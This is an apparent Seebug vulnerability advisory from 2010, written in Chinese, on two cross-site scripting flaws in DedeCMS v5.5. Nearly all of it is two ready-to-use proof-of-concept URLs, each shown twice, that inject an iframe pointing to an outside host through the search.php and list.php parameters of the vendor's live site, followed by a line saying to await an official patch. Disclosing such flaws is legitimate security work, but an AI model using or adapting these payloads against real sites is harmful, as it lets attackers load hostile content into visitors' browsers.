dedecms织梦 v5.5 两处跨站漏洞

2010-03-17T00:00:00
ID SSV:19284
Type seebug
Reporter Root
Modified 2010-03-17T00:00:00

Description

北洋贱队(http://bbs.seceye.org)首发

demo1:http://www.dedecms.com/plus/search.php?keyword=%22%3E%3Ciframe%20src=http://www.gohack.org%3E&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&pagesize=10&typeid=0&TotalResult=%3Ciframe%20src=http://www.gohack.org%3E&PageNo=2

demo2:http://www.dedecms.com/plus/list.php?tid=6&TotalResult=%3Ciframe%20src=http://www.gohack.org%3E&nativeplace=0&infotype=0&keyword=&orderby=hot&PageNo=2

dedecms织梦5.5 等待官方升级或出补丁

                                        
                                            
                                                demo1:http://www.dedecms.com/plus/search.php?keyword=%22%3E%3Ciframe%20src=http://www.gohack.org%3E&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&pagesize=10&typeid=0&TotalResult=%3Ciframe%20src=http://www.gohack.org%3E&PageNo=2

demo2:http://www.dedecms.com/plus/list.php?tid=6&TotalResult=%3Ciframe%20src=http://www.gohack.org%3E&nativeplace=0&infotype=0&keyword=&orderby=hot&PageNo=2